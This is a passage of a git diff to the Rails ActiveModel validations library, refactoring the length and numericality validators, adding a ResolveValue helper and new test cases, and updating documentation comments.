       MESSAGES  = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
       CHECKS    = { is: :==, minimum: :>=, maximum: :<= }.freeze
 
@@ -9,7 +15,8 @@ class LengthValidator < EachValidator # :nodoc:
       def initialize(options)
         if range = (options.delete(:in) || options.delete(:within))
           raise ArgumentError, ":in and :within must be a Range" unless range.is_a?(Range)
-          options[:minimum], options[:maximum] = range.min, range.max
+          options[:minimum] = range.min if range.begin
+          options[:maximum] = (range.exclude_end? ? range.end - 1 : range.end) if range.end
         end
 
         if options[:allow_blank] == false && options[:minimum].nil? && options[:is].nil?
@@ -29,8 +36,10 @@ def check_validity!
         keys.each do |key|
           value = options[key]
 
-          unless (value.is_a?(Integer) && value >= 0) || value == Float::INFINITY
-            raise ArgumentError, ":#{key} must be a nonnegative Integer or Infinity"
+          unless (value.is_a?(Integer) && value >= 0) ||
+                  value == Float::INFINITY || value == -Float::INFINITY ||
+                  value.is_a?(Symbol) || value.is_a?(Proc)
+            raise ArgumentError, ":#{key} must be a non-negative Integer, Infinity, Symbol, or Proc"
           end
         end
       end
@@ -43,7 +52,8 @@ def validate_each(record, attribute, value)
           next unless check_value = options[key]
 
           if !value.nil? || skip_nil_check?(key)
-            next if value_length.send(validity_check, check_value)
+            check_value = resolve_value(record, check_value)
+            next if value_length.public_send(validity_check, check_value)
           end
 
           errors_options[:count] = check_value
@@ -51,7 +61,7 @@ def validate_each(record, attribute, value)
           default_message = options[MESSAGES[key]]
           errors_options[:message] ||= default_message if default_message
 
-          record.errors.add(attribute, MESSAGES[key], errors_options)
+          record.errors.add(attribute, MESSAGES[key], **errors_options)
         end
       end
 
@@ -77,10 +87,9 @@ module HelperMethods
       #     validates_length_of :words_in_essay, minimum: 100, too_short: 'Your essay must be at least 100 words.'
       #
       #     private
-      #
-      #     def words_in_essay
-      #       essay.scan(/\w+/)
-      #     end
+      #       def words_in_essay
+      #         essay.scan(/\w+/)
+      #       end
       #   end
       #
       # Constraint options:
@@ -109,8 +118,8 @@ module HelperMethods
       #   <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # +:if+, +:unless+, +:on+, and +:strict+.
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_length_of(*attr_names)
         validates_with LengthValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index 30a9ef472d227..5b171520bf430 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -1,80 +1,112 @@
+# frozen_string_literal: true
+
+require "active_model/validations/comparability"
+require "active_model/validations/resolve_value"
+require "bigdecimal/util"
+
 module ActiveModel
   module Validations
     class NumericalityValidator < EachValidator # :nodoc:
-      CHECKS = { greater_than: :>, greater_than_or_equal_to: :>=,
-                 equal_to: :==, less_than: :<, less_than_or_equal_to: :<=,
-                 odd: :odd?, even: :even?, other_than: :!= }.freeze
+      include Comparability
+      include ResolveValue
+
+      RANGE_CHECKS = { in: :in? }
+      NUMBER_CHECKS = { odd: :odd?, even: :even? }
+
+      RESERVED_OPTIONS = COMPARE_CHECKS.keys + NUMBER_CHECKS.keys + RANGE_CHECKS.keys + [:only_integer, :only_numeric]
 
-      RESERVED_OPTIONS = CHECKS.keys + [:only_integer]
+      INTEGER_REGEX = /\A[+-]?\d+\z/
+
+      HEXADECIMAL_REGEX = /\A[+-]?0[xX]/
 
       def check_validity!
-        keys = CHECKS.keys - [:odd, :even]
-        options.slice(*keys).each do |option, value|
+        options.slice(*COMPARE_CHECKS.keys).each do |option, value|
           unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
             raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
           end
         end
-      end
-
-      def validate_each(record, attr_name, value)
-        before_type_cast = :"#{attr_name}_before_type_cast"
-
-        raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast) && record.send(before_type_cast) != value
-        raw_value ||= value
 
-        if record_attribute_changed_in_place?(record, attr_name)
-          raw_value = value
+        options.slice(*RANGE_CHECKS.keys).each do |option, value|
+          unless value.is_a?(Range)
+            raise ArgumentError, ":#{option} must be a range"
+          end
         end
+      end
 
-        unless is_number?(raw_value)
-          record.errors.add(attr_name, :not_a_number, filtered_options(raw_value))
+      def validate_each(record, attr_name, value, precision: Float::DIG, scale: nil)
+        unless is_number?(value, precision, scale)
+          record.errors.add(attr_name, :not_a_number, **filtered_options(value))
           return
         end
 
-        if allow_only_integer?(record) && !is_integer?(raw_value)
-          record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value))
+        if allow_only_integer?(record) && !is_integer?(value)
+          record.errors.add(attr_name, :not_an_integer, **filtered_options(value))
           return
         end
 
-        unless raw_value.is_a?(Numeric)
-          value = parse_raw_value_as_a_number(raw_value)
-        end
+        value = parse_as_number(value, precision, scale)
 
-        options.slice(*CHECKS.keys).each do |option, option_value|
-          case option
-          when :odd, :even
-            unless value.to_i.send(CHECKS[option])
-              record.errors.add(attr_name, option, filtered_options(value))
+        options.slice(*RESERVED_OPTIONS).each do |option, option_value|
+          if NUMBER_CHECKS.include?(option)
+            unless value.to_i.public_send(NUMBER_CHECKS[option])
+              record.errors.add(attr_name, option, **filtered_options(value))
             end
-          else
-            case option_value
-            when Proc
-              option_value = option_value.call(record)
-            when Symbol
-              option_value = record.send(option_value)
+          elsif RANGE_CHECKS.include?(option)
+            unless value.public_send(RANGE_CHECKS[option], option_value)
+              record.errors.add(attr_name, option, **filtered_options(value).merge!(count: option_value))
             end
-
-            unless value.send(CHECKS[option], option_value)
-              record.errors.add(attr_name, option, filtered_options(value).merge!(count: option_value))
+          elsif COMPARE_CHECKS.include?(option)
+            option_value = option_as_number(record, option_value, precision, scale)
+            unless value.public_send(COMPARE_CHECKS[option], option_value)
+              record.errors.add(attr_name, option, **filtered_options(value).merge!(count: option_value))
             end
           end
         end
       end
 
     private
+      def option_as_number(record, option_value, precision, scale)
+        parse_as_number(resolve_value(record, option_value), precision, scale)
+      end
+
+      def parse_as_number(raw_value, precision, scale)
+        if raw_value.is_a?(Float)
+          parse_float(raw_value, precision, scale)
+        elsif raw_value.is_a?(BigDecimal)
+          round(raw_value, scale)
+        elsif raw_value.is_a?(Numeric)
+          raw_value
+        elsif is_integer?(raw_value)
+          raw_value.to_i
+        elsif !is_hexadecimal_literal?(raw_value)
+          parse_float(Kernel.Float(raw_value), precision, scale)
+        end
+      end
 
-      def is_number?(raw_value)
-        !parse_raw_value_as_a_number(raw_value).nil?
+      def parse_float(raw_value, precision, scale)
+        round(raw_value, scale).to_d(precision)
+      end
+
+      def round(raw_value, scale)
+        scale ? raw_value.round(scale) : raw_value
+      end
+
+      def is_number?(raw_value, precision, scale)
+        if options[:only_numeric] && !raw_value.is_a?(Numeric)
+          return false
+        end
+
+        !parse_as_number(raw_value, precision, scale).nil?
       rescue ArgumentError, TypeError
         false
       end
 
-      def parse_raw_value_as_a_number(raw_value)
-        Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/
+      def is_integer?(raw_value)
+        INTEGER_REGEX.match?(raw_value.to_s)
       end
 
-      def is_integer?(raw_value)
-        /\A[+-]?\d+\z/ === raw_value.to_s
+      def is_hexadecimal_literal?(raw_value)
+        HEXADECIMAL_REGEX.match?(raw_value.to_s)
       end
 
       def filtered_options(value)
@@ -84,14 +116,28 @@ def filtered_options(value)
       end
 
       def allow_only_integer?(record)
-        case options[:only_integer]
-        when Symbol
-          record.send(options[:only_integer])
-        when Proc
-          options[:only_integer].call(record)
+        resolve_value(record, options[:only_integer])
+      end
+
+      def prepare_value_for_validation(value, record, attr_name)
+        return value if record_attribute_changed_in_place?(record, attr_name)
+
+        came_from_user = :"#{attr_name}_came_from_user?"
+
+        if record.respond_to?(came_from_user)
+          if record.public_send(came_from_user)
+            raw_value = record.public_send(:"#{attr_name}_before_type_cast")
+          elsif record.respond_to?(:read_attribute)
+            raw_value = record.read_attribute(attr_name)
+          end
         else
-          options[:only_integer]
+          before_type_cast = :"#{attr_name}_before_type_cast"
+          if record.respond_to?(before_type_cast)
+            raw_value = record.public_send(before_type_cast)
+          end
         end
+
+        raw_value || value
       end
 
       def record_attribute_changed_in_place?(record, attr_name)
@@ -102,9 +148,11 @@ def record_attribute_changed_in_place?(record, attr_name)
 
     module HelperMethods
       # Validates whether the value of the specified attribute is numeric by
-      # trying to convert it to a float with Kernel.Float (if <tt>only_integer</tt>
-      # is +false+) or applying it to the regular expression <tt>/\A[\+\-]?\d+\Z/</tt>
-      # (if <tt>only_integer</tt> is set to +true+).
+      # trying to convert it to a float with +Kernel.Float+ (if
+      # <tt>only_integer</tt> is +false+) or applying it to the regular
+      # expression <tt>/\A[\+\-]?\d+\z/</tt> (if <tt>only_integer</tt> is set to
+      # +true+). Precision of +Kernel.Float+ values are guaranteed up to 15
+      # digits.
       #
       #   class Person < ActiveRecord::Base
       #     validates_numericality_of :value, on: :create
@@ -113,28 +161,41 @@ module HelperMethods
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "is not a number").
       # * <tt>:only_integer</tt> - Specifies whether the value has to be an
-      #   integer, e.g. an integral value (default is +false+).
+      #   integer (default is +false+).
+      # * <tt>:only_numeric</tt> - Specifies whether the value has to be an
+      #   instance of Numeric (default is +false+). The default behavior is to
+      #   attempt parsing the value if it is a String.
       # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is
       #   +false+). Notice that for Integer and Float columns empty strings are
       #   converted to +nil+.
       # * <tt>:greater_than</tt> - Specifies the value must be greater than the
-      #   supplied value.
+      #   supplied value. The default error message for this option is _"must be
+      #   greater than %{count}"_.
       # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be
-      #   greater than or equal the supplied value.
+      #   greater than or equal the supplied value. The default error message
+      #   for this option is _"must be greater than or equal to %{count}"_.
       # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied
-      #   value.
+      #   value. The default error message for this option is _"must be equal to
+      #   %{count}"_.
       # * <tt>:less_than</tt> - Specifies the value must be less than the
-      #   supplied value.
+      #   supplied value. The default error message for this option is _"must be
+      #   less than %{count}"_.
       # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less
-      #   than or equal the supplied value.
+      #   than or equal the supplied value. The default error message for this
+      #   option is _"must be less than or equal to %{count}"_.
       # * <tt>:other_than</tt> - Specifies the value must be other than the
-      #   supplied value.
-      # * <tt>:odd</tt> - Specifies the value must be an odd number.
-      # * <tt>:even</tt> - Specifies the value must be an even number.
+      #   supplied value. The default error message for this option is _"must be
+      #   other than %{count}"_.
+      # * <tt>:odd</tt> - Specifies the value must be an odd number. The default
+      #   error message for this option is _"must be odd"_.
+      # * <tt>:even</tt> - Specifies the value must be an even number. The
+      #   default error message for this option is _"must be even"_.
+      # * <tt>:in</tt> - Check that the value is within a range. The default
+      #   error message for this option is _"must be in %{count}"_.
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       #
       # The following checks can also be supplied with a proc or a symbol which
       # corresponds to a method:
@@ -145,6 +206,7 @@ module HelperMethods
       # * <tt>:less_than</tt>
       # * <tt>:less_than_or_equal_to</tt>
       # * <tt>:only_integer</tt>
+      # * <tt>:other_than</tt>
       #
       # For example:
       #
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index 6e8a434bbe107..533e4dc29845a 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -1,15 +1,16 @@
+# frozen_string_literal: true
 
 module ActiveModel
   module Validations
     class PresenceValidator < EachValidator # :nodoc:
       def validate_each(record, attr_name, value)
-        record.errors.add(attr_name, :blank, options) if value.blank?
+        record.errors.add(attr_name, :blank, **options) if value.blank?
       end
     end
 
     module HelperMethods
       # Validates that the specified attributes are not blank (as defined by
-      # Object#blank?). Happens by default on save.
+      # Object#blank?).
       #
       #   class Person < ActiveRecord::Base
       #     validates_presence_of :first_name
@@ -29,7 +30,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_presence_of(*attr_names)
         validates_with PresenceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/resolve_value.rb b/activemodel/lib/active_model/validations/resolve_value.rb
new file mode 100644
index 0000000000000..f0438f4ade1a2
--- /dev/null
+++ b/activemodel/lib/active_model/validations/resolve_value.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    module ResolveValue # :nodoc:
+      def resolve_value(record, value)
+        case value
+        when Proc
+          if value.arity == 0
+            value.call
+          else
+            value.call(record)
+          end
+        when Symbol
+          record.send(value)
+        else
+          if value.respond_to?(:call)
+            value.call(record)
+          else
+            value
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 0ce5935f3ad6e..e095f66702b3a 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -1,15 +1,18 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/slice"
 
 module ActiveModel
   module Validations
     module ClassMethods
       # This method is a shortcut to all default validators and any custom
-      # validator classes ending in 'Validator'. Note that Rails default
+      # validator classes ending in 'Validator'. Note that \Rails default
       # validators can be overridden inside specific classes by creating
       # custom validator classes in their place such as PresenceValidator.
       #
-      # Examples of using the default rails validators:
+      # Examples of using the default Rails validators:
       #
+      #   validates :username, absence: true
       #   validates :terms, acceptance: true
       #   validates :password, confirmation: true
       #   validates :username, exclusion: { in: %w(admin superuser) }
@@ -18,7 +21,6 @@ module ClassMethods
       #   validates :first_name, length: { maximum: 30 }
       #   validates :age, numericality: true
       #   validates :username, presence: true
-      #   validates :username, uniqueness: true
       #
       # The power of the +validates+ method comes when using custom validators
       # and default validators in one call for a given attribute.
@@ -26,7 +28,7 @@ module ClassMethods
       #   class EmailValidator < ActiveModel::EachValidator
       #     def validate_each(record, attribute, value)
       #       record.errors.add attribute, (options[:message] || "is not an email") unless
-      #         value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      #         /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i.match?(value)
       #     end
       #   end
       #
@@ -34,7 +36,7 @@ module ClassMethods
       #     include ActiveModel::Validations
       #     attr_accessor :name, :email
       #
-      #     validates :name, presence: true, uniqueness: true, length: { maximum: 100 }
+      #     validates :name, presence: true, length: { maximum: 100 }
       #     validates :email, presence: true, email: true
       #   end
       #
@@ -46,7 +48,7 @@ module ClassMethods
       #
       #     class TitleValidator < ActiveModel::EachValidator
       #       def validate_each(record, attribute, value)
-      #         record.errors.add attribute, "must start with 'the'" unless value =~ /\Athe/i
+      #         record.errors.add attribute, "must start with 'the'" unless /\Athe/i.match?(value)
       #       end
       #     end
       #
@@ -62,7 +64,7 @@ module ClassMethods
       # and strings in shortcut form.
       #
       #   validates :email, format: /@/
-      #   validates :gender, inclusion: %w(male female)
+      #   validates :role, inclusion: %w(admin contributor)
       #   validates :password, length: 6..20
       #
       # When using shortcut form, ranges and arrays are passed to your
@@ -76,14 +78,19 @@ module ClassMethods
       #   or an array of symbols. (e.g. <tt>on: :create</tt> or
       #   <tt>on: :custom_validation_context</tt> or
       #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:except_on</tt> - Specifies the contexts where this validation is not active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>except: :create</tt> or
+      #   <tt>except_on: :custom_validation_context</tt> or
+      #   <tt>except_on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
       #   proc or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+      # * <tt>:unless</tt> - Specifies a method, proc, or string to call to determine
       #   if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a +true+ or
+      #   method, proc, or string should return or evaluate to a +true+ or
       #   +false+ value.
       # * <tt>:allow_nil</tt> - Skip validation if the attribute is +nil+.
       # * <tt>:allow_blank</tt> - Skip validation if the attribute is blank.
@@ -94,7 +101,7 @@ module ClassMethods
       # Example:
       #
       #   validates :password, presence: true, confirmation: true, if: :password_required?
-      #   validates :token, uniqueness: true, strict: TokenGenerationException
+      #   validates :token, length: { is: 24 }, strict: TokenLengthException
       #
       #
       # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+, +:strict+
@@ -111,15 +118,16 @@ def validates(*attributes)
         defaults[:attributes] = attributes
 
         validations.each do |key, options|
-          next unless options
           key = "#{key.to_s.camelize}Validator"
 
           begin
-            validator = key.include?("::".freeze) ? key.constantize : const_get(key)
+            validator = const_get(key)
           rescue NameError
             raise ArgumentError, "Unknown validator: '#{key}'"
           end
 
+          next unless options
+
           validates_with(validator, defaults.merge(_parse_validates_options(options)))
         end
       end
@@ -127,7 +135,7 @@ def validates(*attributes)
       # This method is used to define validations that cannot be corrected by end
       # users and are considered exceptional. So each validator defined with bang
       # or <tt>:strict</tt> option set to <tt>true</tt> will always raise
-      # <tt>ActiveModel::StrictValidationFailed</tt> instead of adding error
+      # ActiveModel::StrictValidationFailed instead of adding error
       # when validation fails. See <tt>validates</tt> for more information about
       # the validation itself.
       #
@@ -149,11 +157,10 @@ def validates!(*attributes)
       end
 
     private
-
       # When creating custom validators, it might be useful to be able to specify
       # additional default keys. This can be done by overwriting this method.
       def _validates_default_keys
-        [:if, :unless, :on, :allow_blank, :allow_nil , :strict]
+        [:if, :unless, :on, :allow_blank, :allow_nil, :strict, :except_on]
       end
 
       def _parse_validates_options(options)
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index 9227dd06ff9b7..8e183ce81de17 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/extract_options"
 
 module ActiveModel
@@ -43,22 +45,29 @@ module ClassMethods
       #     validates_with MyValidator, MyOtherValidator, on: :create
       #   end
       #
+      # There is no default error message for +validates_with+. You must
+      # manually add errors to the record's errors collection in the validator
+      # class.
+      #
+      # To implement the validate method, you must have a +record+ parameter
+      # defined, which is the record to be validated.
+      #
       # Configuration options:
       # * <tt>:on</tt> - Specifies the contexts where this validation is active.
       #   Runs in all validation contexts by default +nil+. You can pass a symbol
       #   or an array of symbols. (e.g. <tt>on: :create</tt> or
       #   <tt>on: :custom_validation_context</tt> or
       #   <tt>on: [:create, :custom_validation_context]</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      # * <tt>:if</tt> - Specifies a method, proc, or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a +true+ or
+      #   The method, proc, or string should return or evaluate to a +true+ or
       #   +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      # * <tt>:unless</tt> - Specifies a method, proc, or string to call to
       #   determine if the validation should not occur
       #   (e.g. <tt>unless: :skip_validation</tt>, or
       #   <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a +true+ or
+      #   The method, proc, or string should return or evaluate to a +true+ or
       #   +false+ value.
       # * <tt>:strict</tt> - Specifies whether validation should be strict.
       #   See <tt>ActiveModel::Validations#validates!</tt> for more information.
@@ -81,7 +90,7 @@ def validates_with(*args, &block)
         options[:class] = self
 
         args.each do |klass|
-          validator = klass.new(options, &block)
+          validator = klass.new(options.dup, &block)
 
           if validator.respond_to?(:attributes) && !validator.attributes.empty?
             validator.attributes.each do |attribute|
@@ -137,7 +146,7 @@ def validates_with(*args, &block)
       options[:class] = self.class
 
       args.each do |klass|
-        validator = klass.new(options, &block)
+        validator = klass.new(options.dup, &block)
         validator.validate(self)
       end
     end
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 98234e9b6b68e..05ad6c298f65b 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/anonymous"
 
 module ActiveModel
-  # == Active \Model \Validator
+  # = Active \Model \Validator
   #
   # A simple base class that can be used along with
   # ActiveModel::Validations::ClassMethods.validates_with
@@ -24,7 +26,7 @@ module ActiveModel
   #       end
   #   end
   #
-  # Any class that inherits from ActiveModel::Validator must implement a method
+  # Any class that inherits from \ActiveModel::Validator must implement a method
   # called +validate+ which accepts a +record+.
   #
   #   class Person
@@ -63,7 +65,7 @@ module ActiveModel
   # life cycle, and not on each validation run.
   #
   # The easiest way to add custom validators for validating individual attributes
-  # is with the convenient <tt>ActiveModel::EachValidator</tt>.
+  # is with the convenient ActiveModel::EachValidator class.
   #
   #   class TitleValidator < ActiveModel::EachValidator
   #     def validate_each(record, attribute, value)
@@ -71,8 +73,8 @@ module ActiveModel
   #     end
   #   end
   #
-  # This can now be used in combination with the +validates+ method
-  # (see <tt>ActiveModel::Validations::ClassMethods.validates</tt> for more on this).
+  # This can now be used in combination with the +validates+ method.
+  # See ActiveModel::Validations::ClassMethods#validates for more on this.
   #
   #   class Person
   #     include ActiveModel::Validations
@@ -82,13 +84,13 @@ module ActiveModel
   #   end
   #
   # It can be useful to access the class that is using that validator when there are prerequisites such
-  # as an +attr_accessor+ being present. This class is accessible via +options[:class]+ in the constructor.
-  # To setup your validator override the constructor.
+  # as an +attr_accessor+ being present. This class is accessible via <tt>options[:class]</tt> in the constructor.
+  # To set up your validator override the constructor.
   #
   #   class MyValidator < ActiveModel::Validator
   #     def initialize(options={})
   #       super
-  #       options[:class].send :attr_accessor, :custom_attribute
+  #       options[:class].attr_accessor :custom_attribute
   #     end
   #   end
   class Validator
@@ -97,7 +99,7 @@ class Validator
     # Returns the kind of the validator.
     #
     #   PresenceValidator.kind   # => :presence
-    #   UniquenessValidator.kind # => :uniqueness
+    #   AcceptanceValidator.kind # => :acceptance
     def self.kind
       @kind ||= name.split("::").last.underscore.chomp("_validator").to_sym unless anonymous?
     end
@@ -109,8 +111,8 @@ def initialize(options = {})
 
     # Returns the kind for this validator.
     #
-    #   PresenceValidator.new.kind   # => :presence
-    #   UniquenessValidator.new.kind # => :uniqueness
+    #   PresenceValidator.new(attributes: [:username]).kind # => :presence
+    #   AcceptanceValidator.new(attributes: [:terms]).kind  # => :acceptance
     def kind
       self.class.kind
     end
@@ -122,12 +124,14 @@ def validate(record)
     end
   end
 
+  # = Active \Model \EachValidator
+  #
   # +EachValidator+ is a validator which iterates through the attributes given
   # in the options hash invoking the <tt>validate_each</tt> method passing in the
-  # record, attribute and value.
+  # record, attribute, and value.
   #
   # All \Active \Model validations are built on top of this validator.
-  class EachValidator < Validator #:nodoc:
+  class EachValidator < Validator
     attr_reader :attributes
 
     # Returns a new validator instance. All options will be available via the
@@ -146,7 +150,8 @@ def initialize(options)
     def validate(record)
       attributes.each do |attribute|
         value = record.read_attribute_for_validation(attribute)
-        next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
+        next if (value.nil? && allow_nil?(record)) || (value.blank? && allow_blank?(record))
+        value = prepare_value_for_validation(value, record, attribute)
         validate_each(record, attribute, value)
       end
     end
@@ -162,18 +167,38 @@ def validate_each(record, attribute, value)
     # +ArgumentError+ when invalid options are supplied.
     def check_validity!
     end
+
+    private
+      def prepare_value_for_validation(value, record, attr_name)
+        value
+      end
+
+      def allow_nil?(record)
+        if options[:allow_nil].respond_to?(:to_proc)
+          options[:allow_nil].to_proc.call(record)
+        else
+          options[:allow_nil]
+        end
+      end
+
+      def allow_blank?(record)
+        if options[:allow_blank].respond_to?(:to_proc)
+          options[:allow_blank].to_proc.call(record)
+        else
+          options[:allow_blank]
+        end
+      end
   end
 
   # +BlockValidator+ is a special +EachValidator+ which receives a block on initialization
   # and call this block for each attribute being validated. +validates_each+ uses this validator.
-  class BlockValidator < EachValidator #:nodoc:
+  class BlockValidator < EachValidator # :nodoc:
     def initialize(options, &block)
       @block = block
       super
     end
 
     private
-
       def validate_each(record, attribute, value)
         @block.call(record, attribute, value)
       end
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index 6e7fd227fdb55..8fa74853a6f60 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module ActiveModel
-  # Returns the version of the currently loaded \Active \Model as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of \Active \Model as a +Gem::Version+.
   def self.version
     gem_version
   end
diff --git a/activemodel/test/cases/access_test.rb b/activemodel/test/cases/access_test.rb
new file mode 100644
index 0000000000000..b2f1a22a9c3cd
--- /dev/null
+++ b/activemodel/test/cases/access_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/hash/indifferent_access"
+
+class AccessTest < ActiveModel::TestCase
+  class Point
+    include ActiveModel::Access
+
+    def initialize(*vector)
+      @vector = vector
+    end
+
+    def x
+      @vector[0]
+    end
+
+    def y
+      @vector[1]
+    end
+
+    def z
+      @vector[2]
+    end
+  end
+
+  setup do
+    @point = Point.new(123, 456, 789)
+  end
+
+  test "slice" do
+    expected = { z: @point.z, x: @point.x }.with_indifferent_access
+    actual = @point.slice(:z, :x)
+
+    assert_equal expected.keys, actual.keys
+
+    expected.each do |key, value|
+      assert_equal value, actual[key.to_s]
+      assert_equal value, actual[key.to_sym]
+    end
+  end
+
+  test "slice with array" do
+    expected = { z: @point.z, x: @point.x }.with_indifferent_access
+    assert_equal expected, @point.slice([:z, :x])
+  end
+
+  test "values_at" do
+    assert_equal [@point.x, @point.z], @point.values_at(:x, :z)
+    assert_equal [@point.z, @point.x], @point.values_at(:z, :x)
+  end
+
+  test "values_at with array" do
+    assert_equal [@point.x, @point.z], @point.values_at([:x, :z])
+    assert_equal [@point.z, @point.x], @point.values_at([:z, :x])
+  end
+end
diff --git a/activemodel/test/cases/api_test.rb b/activemodel/test/cases/api_test.rb
new file mode 100644
index 0000000000000..075dcbe7a6aad
--- /dev/null
+++ b/activemodel/test/cases/api_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class APITest < ActiveModel::TestCase
+  include ActiveModel::Lint::Tests
+
+  module DefaultValue
+    def self.included(klass)
+      klass.class_eval { attr_accessor :hello }
+    end
+
+    def initialize(*args)
+      @attr ||= "default value"
+      super
+    end
+  end
+
+  class BasicModel
+    include DefaultValue
+    include ActiveModel::API
+    attr_accessor :attr
+  end
+
+  class BasicModelWithReversedMixins
+    include ActiveModel::API
+    include DefaultValue
+    attr_accessor :attr
+  end
+
+  class SimpleModel
+    include ActiveModel::API
+    attr_accessor :attr
+  end
+
+  def setup
+    @model = BasicModel.new
+  end
+
+  def test_initialize_with_params
+    object = BasicModel.new(attr: "value")
+    assert_equal "value", object.attr
+  end
+
+  def test_initialize_with_params_and_mixins_reversed
+    object = BasicModelWithReversedMixins.new(attr: "value")
+    assert_equal "value", object.attr
+  end
+
+  def test_initialize_with_nil_or_empty_hash_params_does_not_explode
+    assert_nothing_raised do
+      BasicModel.new()
+      BasicModel.new(nil)
+      BasicModel.new({})
+      SimpleModel.new(attr: "value")
+    end
+  end
+
+  def test_persisted_is_always_false
+    object = BasicModel.new(attr: "value")
+    assert_not object.persisted?
+  end
+
+  def test_mixin_inclusion_chain
+    object = BasicModel.new
+    assert_equal "default value", object.attr
+  end
+
+  def test_mixin_initializer_when_args_exist
+    object = BasicModel.new(hello: "world")
+    assert_equal "world", object.hello
+  end
+
+  def test_mixin_initializer_when_args_dont_exist
+    assert_raises(ActiveModel::UnknownAttributeError) do
+      SimpleModel.new(hello: "world")
+    end
+  end
+end
diff --git a/activemodel/test/cases/attribute_assignment_test.rb b/activemodel/test/cases/attribute_assignment_test.rb
index fa41d1b95f801..a879758b3eee9 100644
--- a/activemodel/test/cases/attribute_assignment_test.rb
+++ b/activemodel/test/cases/attribute_assignment_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_support/core_ext/hash/indifferent_access"
 require "active_support/hash_with_indifferent_access"
@@ -16,10 +18,7 @@ def broken_attribute=(value)
       raise ErrorFromAttributeWriter
     end
 
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
-
+    private
       attr_writer :metadata
   end
 
@@ -50,8 +49,8 @@ def to_h
       @parameters
     end
 
-    def stringify_keys
-      dup
